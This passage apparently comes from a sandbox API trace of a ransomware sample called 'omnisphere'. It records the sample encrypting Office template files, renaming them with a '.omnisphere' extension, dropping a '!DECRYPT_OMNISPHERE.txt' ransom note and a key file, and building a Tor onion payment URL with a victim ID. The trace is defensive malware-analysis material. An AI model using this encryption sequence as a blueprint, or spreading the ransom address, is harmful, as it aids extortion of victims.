pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.751] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.752] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.752] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.752] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.752] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.752] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.752] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.752] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.752] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.752] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.753] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.753] CryptDestroyKey (hKey=0x16395e8) returned 1 [0117.753] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0117.754] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x4605, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0117.754] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0dcd0, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0dcd0*=0x524, lpOverlapped=0x0) returned 1 [0117.754] GetProcessHeap () returned 0x1600000 [0117.754] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x29e) returned 0x1695b80 [0117.754] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\normal.dotm.omnisphere")) returned 1 [0117.755] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.omnisphere.id" [0117.755] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\normal.dotm.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0117.755] WriteFile (in: hFile=0x288, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d758, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0d758*=0x524, lpOverlapped=0x0) returned 1 [0117.756] CloseHandle (hObject=0x288) returned 1 [0117.757] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0117.758] CloseHandle (hObject=0x28c) returned 1 [0117.758] SetEndOfFile (hFile=0x3a0) returned 1 [0117.758] FlushFileBuffers (hFile=0x3a0) returned 1 [0117.763] CloseHandle (hObject=0x3a0) returned 1 [0117.763] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates") returned 1 [0117.763] GetProcessHeap () returned 0x1600000 [0117.763] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x169e0a8 [0117.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0117.763] GetProcessHeap () returned 0x1600000 [0117.763] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16939e0 [0117.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16939e0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0117.764] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0117.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0117.764] GetProcessHeap () returned 0x1600000 [0117.764] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687388 [0117.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687388, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0117.764] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0117.764] GetProcessHeap () returned 0x1600000 [0117.764] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162ccb8 [0117.764] PathCombineW (in: pszDest=0x162ccb8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\!DECRYPT_OMNISPHERE.txt" [0117.764] GetProcessHeap () returned 0x1600000 [0117.764] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1698940 [0117.764] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0117.764] WriteFile (in: hFile=0x3a0, lpBuffer=0x1698940*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0dcf0, lpOverlapped=0x0 | out: lpBuffer=0x1698940*, lpNumberOfBytesWritten=0x3e0dcf0*=0x588, lpOverlapped=0x0) returned 1 [0117.764] CloseHandle (hObject=0x3a0) returned 1 [0117.765] GetProcessHeap () returned 0x1600000 [0117.765] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x169e0a8 | out: hHeap=0x1600000) returned 1 [0117.765] GetProcessHeap () returned 0x1600000 [0117.765] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x1656a18 [0117.765] PathCombineW (in: pszDest=0x1656a18, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\unique_decrypt.key" [0117.765] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0117.765] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0dd04, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0dd04*=0x5a0, lpOverlapped=0x0) returned 1 [0117.765] CloseHandle (hObject=0x3a0) returned 1 [0117.765] GetProcessHeap () returned 0x1600000 [0117.765] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656a18 | out: hHeap=0x1600000) returned 1 [0117.765] GetProcessHeap () returned 0x1600000 [0117.765] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167bb68 | out: hHeap=0x1600000) returned 1 [0117.765] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacac166f, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xacac166f, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xd92f3100, ftLastWriteTime.dwHighDateTime=0x1d32689, nFileSizeHigh=0x0, nFileSizeLow=0x78dd2, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Welcome to Excel.xltx", cAlternateFileName="WELCOM~1.XLT")) returned 1 [0117.765] GetProcessHeap () returned 0x1600000 [0117.765] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa2) returned 0x162cec8 [0117.765] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates", pszFile="Welcome to Excel.xltx" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" [0117.765] StrStrW (lpFirst=".omnisphere", lpSrch=".xltx") returned 0x0 [0117.765] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0117.766] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0dcc8 | out: lpFileSize=0x3e0dcc8*=495058) returned 1 [0117.766] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x788ae, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0117.766] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0d770, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0dcb8, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesRead=0x3e0dcb8*=0x524, lpOverlapped=0x0) returned 1 [0117.767] GetTickCount () returned 0x115d6f4 [0117.767] GetTickCount () returned 0x115d6f4 [0117.767] GetTickCount () returned 0x115d6f4 [0117.767] GetTickCount () returned 0x115d6f4 [0117.767] GetTickCount () returned 0x115d6f4 [0117.767] GetTickCount () returned 0x115d6f4 [0117.767] GetTickCount () returned 0x115d6f4 [0117.767] GetTickCount () returned 0x115d6f4 [0117.767] GetTickCount () returned 0x115d6f4 [0117.767] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] GetTickCount () returned 0x115d703 [0117.768] CryptAcquireContextW (in: phProv=0x3e0d750, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d750*=0x1668a38) returned 1 [0117.769] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0d6b8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d75c | out: phKey=0x3e0d75c*=0x16395e8) returned 1 [0117.769] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x80) returned 1 [0117.769] CryptDestroyKey (hKey=0x16395e8) returned 1 [0117.769] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0117.769] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x78dd2, lpName=0x0) returned 0x28c [0117.769] MapViewOfFile (hFileMappingObject=0x28c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x78dd2) returned 0x1700000 [0117.794] CryptAcquireContextW (in: phProv=0x3e0d740, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d740*=0x16688a0) returned 1 [0117.795] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d6f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d750 | out: phKey=0x3e0d750*=0x1639b28) returned 1 [0117.795] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d734*=0x2, dwFlags=0x0) returned 1 [0117.795] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10) returned 1 [0117.795] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.795] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.795] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, 